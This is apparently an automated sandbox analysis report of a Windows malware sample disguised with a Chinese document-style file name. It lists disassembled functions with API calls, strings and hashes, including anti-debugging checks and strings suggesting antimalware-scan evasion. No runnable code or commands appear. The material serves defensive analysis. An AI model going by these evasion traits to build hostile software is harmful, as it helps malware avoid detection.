lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000), ref: 02985A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8), ref: 02985A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02985A45

Strings

kernel32.dll, xrefs: 029858CC
GetLongPathNameA, xrefs: 029858DF

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$kernel32.dll
API String ID: 3245196872-3214324292
Opcode ID: d5c6c096ada0bef6aa961d42d8e7cf7cf83a24e082774cce0151c7f63cc17bca
Instruction ID: 0c47f4611811b6e566ec98176932c41ed32b6f0839b5c28dcdd725994f390f30
Opcode Fuzzy Hash: d5c6c096ada0bef6aa961d42d8e7cf7cf83a24e082774cce0151c7f63cc17bca
Instruction Fuzzy Hash: 76F03175A00709EBDF10EAE8CC849EEB3BCFB48710F8A4596A124D7140D770DA08CF54

Function 0298A9E0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0298AA77,?,?,00000000), ref: 0298A9F8

Part of subcall function 0298A754: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A772

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0298AA77,?,?,00000000), ref: 0298AA28
EnumCalendarInfoA.KERNEL32(Function_0000A92C,00000000,00000000,00000004), ref: 0298AA33
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0298AA77,?,?,00000000), ref: 0298AA51
EnumCalendarInfoA.KERNEL32(Function_0000A968,00000000,00000000,00000003), ref: 0298AA5C

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: c553027b48fbc00f5d7ce340cde333abfae5f676948874b5f7f69353561e38c7
Instruction ID: 553be380392719a4d315601140df2a74bdf07f3689acac9ed3197b5ddf1aac2c
Opcode Fuzzy Hash: c553027b48fbc00f5d7ce340cde333abfae5f676948874b5f7f69353561e38c7
Instruction Fuzzy Hash: AA0126306402046FF301F6B4CD11F6A77AEDBC1720F590521F101AFAC0F6349E00CA64

Function 0298AA90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0298AC60,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0298AABF

Part of subcall function 0298A754: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A772

Strings

ggg, xrefs: 0298ABA5
eeee, xrefs: 0298ABCE
yyyy, xrefs: 0298ABB5

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: c5c299788c1a117b5db3836769d3ed5aaf7a833ce00592b8c5000c52f0d4f882
Instruction ID: f2dc293602bb25deb4085edceaf27751dbb959b3855b55871ce19746fb46b53a
Opcode Fuzzy Hash: c5c299788c1a117b5db3836769d3ed5aaf7a833ce00592b8c5000c52f0d4f882
Instruction Fuzzy Hash: DA41C07470424A4FD711BB7988806BEB3EBEFC5200B5C592BD652D7344EA289D06CA25

Function 0299D8C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,0299DD01,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,Initialize), ref: 0299D8CA
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0299D8DC

Strings

KernelBase, xrefs: 0299D8C5
IsDebuggerPresent, xrefs: 0299D8D6

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 677841a8b967842e1f3b9d0e220829c77177c07b812219067bba30065da3ca4b
Instruction ID: 58520b1c1012d9a4f9cd39870ec0f509dc65f2764347d457be56fc9d15d7ce20
Opcode Fuzzy Hash: 677841a8b967842e1f3b9d0e220829c77177c07b812219067bba30065da3ca4b
Instruction Fuzzy Hash: EBD012B23523801EFA0036FD5CC9C1E038C8A8593AB280A21B026DA0D3E6A6C8652570

Function 0298C404 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,029AA10B,00000000,029AA11E), ref: 0298C40A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0298C41B

Strings

kernel32.dll, xrefs: 0298C405
GetDiskFreeSpaceExA, xrefs: 0298C415

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 03ef6ee98b92eed181fd4ca2f73090707454acbf5bef6f7c8c98c8958b577b8e
Instruction ID: 900723b17c401e9e59a440aa7a7973d9286e782541842b4a01f86e89d63ed1aa
Opcode Fuzzy Hash: 03ef6ee98b92eed181fd4ca2f73090707454acbf5bef6f7c8c98c8958b577b8e
Instruction Fuzzy Hash: 02D0C770A453459EF7447EBD5495A3A26DC9B98708F9C842FF0155A141D77184904FB4

Function 0298E178 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0298E227
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0298E243
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0298E2BA
VariantClear.OLEAUT32(?), ref: 0298E2E3

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 55ebdf8f66d9795e3aa262aa869912fc4c94fc3bfca573595d0890dce04a71bc
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: FB411C75A0022D9FCB65EB68CC90BD9B3BDAF88714F0441E5F589E7251DA30AF818F61

Function 0298ACCC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0298ACE9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0298AD0D
GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 0298AD28
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0298ADBE

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 799f6075530c0b0080efcfae0e87e4b0b11e83c7f5523921ad342b0495984a9a
Instruction ID: 83043edd16eed198f4d8a76a097c85cba3b81850257fb697dc0913bb6b524222
Opcode Fuzzy Hash: 799f6075530c0b0080efcfae0e87e4b0b11e83c7f5523921ad342b0495984a9a
Instruction Fuzzy Hash: 71412D71A402589BDB21EB68CC84BDAB7FDAF48300F4804EAA548E7251EB749F848F54

Function 0298ACCA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0298ACE9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0298AD0D
GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 0298AD28
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0298ADBE

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: a6072fa102434fdf9c75bdb2d4688369011f9bf3c97d9cd05972d479d9936336
Instruction ID: 888fcb39b8c3eebfaec6579cf7306df5e7a26fbcb0c9da19410e99b7e0cba612
Opcode Fuzzy Hash: a6072fa102434fdf9c75bdb2d4688369011f9bf3c97d9cd05972d479d9936336
Instruction Fuzzy Hash: 9A411071A4035C9BDB21EB58CC84BDAB7FDAF48701F4804EAA648E7251EB749F848F54

Function 02981C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878b4e4ace729b594958bc90bdaf02c6e45dc36187309e31bc3bc9624d5e669f
Instruction ID: 3bb40fc858f1193d3e74cfc4cfc815396e246869138fc9e9a357e97959b13fd6
Opcode Fuzzy Hash: 878b4e4ace729b594958bc90bdaf02c6e45dc36187309e31bc3bc9624d5e669f
Instruction Fuzzy Hash: EAA1B1A77116010BD718BA7C9C843BDB3D6DBC4225F1D827EE11DCB391EB68C9538690

Function 0298947C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0298956A), ref: 02989502
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0298956A), ref: 02989508

Strings

yyyy, xrefs: 029894DD

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: e436dbf712a6c4741162dbd326eaf5c979b0afee7d3629e2ad74eb6250048c6e
Instruction ID: 44ccbe33b2e31bb3c67f5141c5794be653274bc1a312782d3dd51cffa446f728
Opcode Fuzzy Hash: e436dbf712a6c4741162dbd326eaf5c979b0afee7d3629e2ad74eb6250048c6e
Instruction Fuzzy Hash: 00212175A042189FEB11EFA8C881ABE73F9EF49710F5900A5ED09EB340D6349E44CBA1

Function 0299A300 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000004,?,00000008), ref: 0299A334
IsBadWritePtr.KERNEL32(?,00000004,?,00000004,?,00000004,?,00000008), ref: 0299A364
IsBadReadPtr.KERNEL32(?,00000008), ref: 0299A383
IsBadReadPtr.KERNEL32(?,00000004,?,00000008), ref: 0299A38F

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 125398054db11b0a7d28bdcb38f3ec80ccab89663a3b9969c73509c4f36971dc
Instruction ID: e9bb0723eaa7c96bbb6bb014c798748f147d6f1ca3b34182ac5dfc2b31ff67bd
Opcode Fuzzy Hash: 125398054db11b0a7d28bdcb38f3ec80ccab89663a3b9969c73509c4f36971dc
Instruction Fuzzy Hash: A021937164121AABDF20DF6DCC81BAE77ADEF813B5F048515ED149B344EB34E9118AA0

Analysis Process: drbdmeyP.pifPID: 2796, Parent PID: 4220COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 0040A6F6 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0040E200: TlsGetValue.KERNEL32(0000000E), ref: 0040E20C
Part of subcall function 0040E200: RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 0040E267

GetTempPathW.KERNEL32(00000104,00000000,00000104,00000000,?,?,?,?,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 0040A70D
LoadLibraryW.KERNEL32(Kernel32.DLL,?,?,?,?,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A71A
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040A72C
GetLongPathNameW.KERNELBASE(00000000,00000000,00000104,?,?,?,?,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000), ref: 0040A739
FreeLibrary.KERNEL32(00000000,?,?,?,?,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A73E

Strings

Kernel32.DLL, xrefs: 0040A713
GetLongPathNameW, xrefs: 0040A726

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: LibraryPath$AddressAllocateFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 1993255246-2943376620
Opcode ID: 7b42a2a4bda81c2a557b82b464e46efdc551e2bdda77aae8c4b8834907019da6
Instruction ID: 764606bb569eff9aa2a854e4b0558f5753b22c8873abefb13c435e0df7790d1f
Opcode Fuzzy Hash: 7b42a2a4bda81c2a557b82b464e46efdc551e2bdda77aae8c4b8834907019da6
Instruction Fuzzy Hash: B4F0E9322012147FC2102BB6AC4CEEB3E6CDF95755701443AF904E2251DB69CC20C2BD

Function 00401000 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040100F
GetModuleHandleW.KERNEL32(00000000), ref: 0040101C
HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035

Part of subcall function 0040DDD0: HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040DDDC
Part of subcall function 0040DDD0: TlsAlloc.KERNEL32 ref: 0040DDE7

Part of subcall function 00409AE0: HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409AE9

Part of subcall function 00409609: RtlInitializeCriticalSection.NTDLL(004176C8), ref: 00409631

Part of subcall function 00408D8E: memset.MSVCRT ref: 00408D9B
Part of subcall function 00408D8E: CoInitialize.OLE32(00000000), ref: 00408DBD

Part of subcall function 004053BB: RtlInitializeCriticalSection.NTDLL(004176A0), ref: 004053C0

GetStdHandle.KERNEL32(FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040109A

Part of subcall function 00409D80: RtlAllocateHeap.NTDLL(00000000,0000003C,00000200), ref: 00409D9F
Part of subcall function 00409D80: RtlAllocateHeap.NTDLL(00000008,00000015), ref: 00409DC5
Part of subcall function 00409D80: RtlAllocateHeap.NTDLL(00000008,FFFFFFED,FFFFFFED), ref: 00409E22

Part of subcall function 0040A37A: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000), ref: 0040A3B8
Part of subcall function 0040A37A: HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A3D1
Part of subcall function 0040A37A: HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A3DB

Part of subcall function 0040A2E8: RtlAllocateHeap.NTDLL(00000000,00000034), ref: 0040A2FB
Part of subcall function 0040A2E8: RtlAllocateHeap.NTDLL(FFFFFFF5,00000008), ref: 0040A310

Part of subcall function 0040DB6A: RtlAllocateHeap.NTDLL(00000000,FFFFFFDD), ref: 0040DB9A
Part of subcall function 0040DB6A: memset.MSVCRT ref: 0040DBD5

Part of subcall function 0040DE20: GetLastError.KERNEL32 ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000000E), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000000E), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0040DE99

Part of subcall function 00401B8F: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000,00000004), ref: 00401BCD
Part of subcall function 00401B8F: EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BEA
Part of subcall function 00401B8F: FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000), ref: 00401BF2

ExitProcess.KERNEL32(00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008,00000008), ref: 004011A5
HeapDestroy.KERNEL32(00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008,00000008), ref: 004011B5
ExitProcess.KERNEL32(00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008,00000008), ref: 004011BA

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Heap$Allocate$Free$CreateInitializememset$CriticalErrorExitHandleLastLibraryProcessSectionValue$AllocDestroyEnumLoadModuleResourceTypes
String ID:
API String ID: 784591235-0
Opcode ID: 1d7ba25bdac2cc46eb0f483c85253156cba33636e365104d8824d09eec5e1d3a
Instruction ID: 054f58a703c2077171097cea621e0c228d2d39f1c558e4fc4fd495567313132e
Opcode Fuzzy Hash: 1d7ba25bdac2cc46eb0f483c85253156cba33636e365104d8824d09eec5e1d3a
Instruction Fuzzy Hash: 33311C30A84700A9E610B7F29C43FAE3A65AF1874DF11803FB649791E3DEBD55448A6F

Function 0040195B Relevance: 9.2, APIs: 6, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000000E), ref: 0040DF77

GetTempFileNameW.KERNEL32(00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,?,004043B9,00000001,00000000), ref: 00401A2A
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401A7F
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000), ref: 00401AD4
PathAddBackslashW.SHLWAPI(00416020,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000), ref: 00401ADF
PathRenameExtensionW.SHLWAPI(00000000,00000000,00000000,00416020,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000), ref: 00401B1E
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00416020), ref: 00401B38

Part of subcall function 0040DE20: GetLastError.KERNEL32 ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000000E), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000000E), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0040DE99

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0040DEBC

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: FileNameTemp$Value$AllocateErrorHeapLastPath$BackslashExtensionRenamewcslen
String ID:
API String ID: 368575804-0
Opcode ID: 1ba5b1041860197bcb70b5f8865f6e3a244e24124e7517cd294dd1039848c71c
Instruction ID: da94853b8b5bd26d1bd5120d1b9c906e5f4cf8f619d60ffb6644f8987c096960
Opcode Fuzzy Hash: 1ba5b1041860197bcb70b5f8865f6e3a244e24124e7517cd294dd1039848c71c
Instruction Fuzzy Hash: 6651EEB59047006ED601BBB2DD42E7F7B7EEB98318F00883FB540690E2C63D9C559A6D

Function 0040AA60 Relevance: 9.2, APIs: 6, Instructions: 157filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,?,?,?,00000000), ref: 0040AAD1
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000,?,?,?,?,?,00000000), ref: 0040AB12
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,00000000), ref: 0040AB5C
CreateFileW.KERNEL32(?,40000000,?,00000000,00000005,00000000,00000000,?,?,?,?,00000000), ref: 0040AB7E
RtlAllocateHeap.NTDLL(00000000,00001000,?), ref: 0040ABB7
SetFilePointer.KERNEL32(?,00000000,?,00000002), ref: 0040AC0A

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: File$Create$AllocateHeapPointer
String ID:
API String ID: 1439325152-0
Opcode ID: 03187de23769bf5a714144439e1d921a106fae5db2cc0e7624616ee37dc51610
Instruction ID: 35cb0034da6faa60fecaa9fe6ab12df6337e8788845343623408397181d4bc5b
Opcode Fuzzy Hash: 03187de23769bf5a714144439e1d921a106fae5db2cc0e7624616ee37dc51610
Instruction Fuzzy Hash: E451B171204300ABE3218E28DC44B57BAE5EB44764F614A3AFA51A62E0D779EC55CB1E

Function 0040D7B9 Relevance: 7.6, APIs: 5, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(0041761C), ref: 0040D7FA
RtlAllocateHeap.NTDLL(00000000,00000018), ref: 0040D831
RtlLeaveCriticalSection.NTDLL(0041761C), ref: 0040D88A
RtlAllocateHeap.NTDLL(00000000,00000038,00000000), ref: 0040D89B
RtlInitializeCriticalSection.NTDLL(00000020), ref: 0040D8D7

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalSection$AllocateHeap$EnterInitializeLeave
String ID:
API String ID: 2823868979-0
Opcode ID: 2ec9cf42e2d1736302ec14762d145b98cb1fe75a1bb67cb2000ecd2b7010510a
Instruction ID: 1c1621ef8b81eb37d3c39fa836f306ed5b79470d652240547c7f2301dbf87725
Opcode Fuzzy Hash: 2ec9cf42e2d1736302ec14762d145b98cb1fe75a1bb67cb2000ecd2b7010510a
Instruction Fuzzy Hash: DE31A2B2D007019BC3209F99D844A57BBF4FB44760B15C53EE465A7390D738E908CB98

Function 00403DF3 Relevance: 6.6, APIs: 4, Instructions: 640COMMON

Download Yara Rule

APIs

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000000E), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0040DE99

Part of subcall function 0040DE20: GetLastError.KERNEL32 ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000000E), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0040DEBC

GetModuleHandleW.KERNEL32(00000000,?,00000000,00000000), ref: 004042FB
PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004043F4

Part of subcall function 00402BFA: GetShortPathNameW.KERNEL32(?,?,00002710), ref: 00402C34

Part of subcall function 0040E020: TlsGetValue.KERNEL32(0000000E), ref: 0040E02A

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 00409860: SetEnvironmentVariableW.KERNEL32(?,?,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000), ref: 00409879

Part of subcall function 00401E55: PathQuoteSpacesW.SHLWAPI(?,00000000,00000000,00000000,00000000,-00000004,00404476,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401E8A

PathQuoteSpacesW.SHLWAPI(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00000000), ref: 004044A7
PathQuoteSpacesW.SHLWAPI(00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000), ref: 004044E1

Part of subcall function 00405492: CreateThread.KERNEL32(00000000,00001000,00000000,00000000,00000000,?), ref: 004054AB
Part of subcall function 00405492: RtlEnterCriticalSection.NTDLL(004176A0), ref: 004054BD
Part of subcall function 00405492: WaitForSingleObject.KERNEL32(?,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000), ref: 004054D4
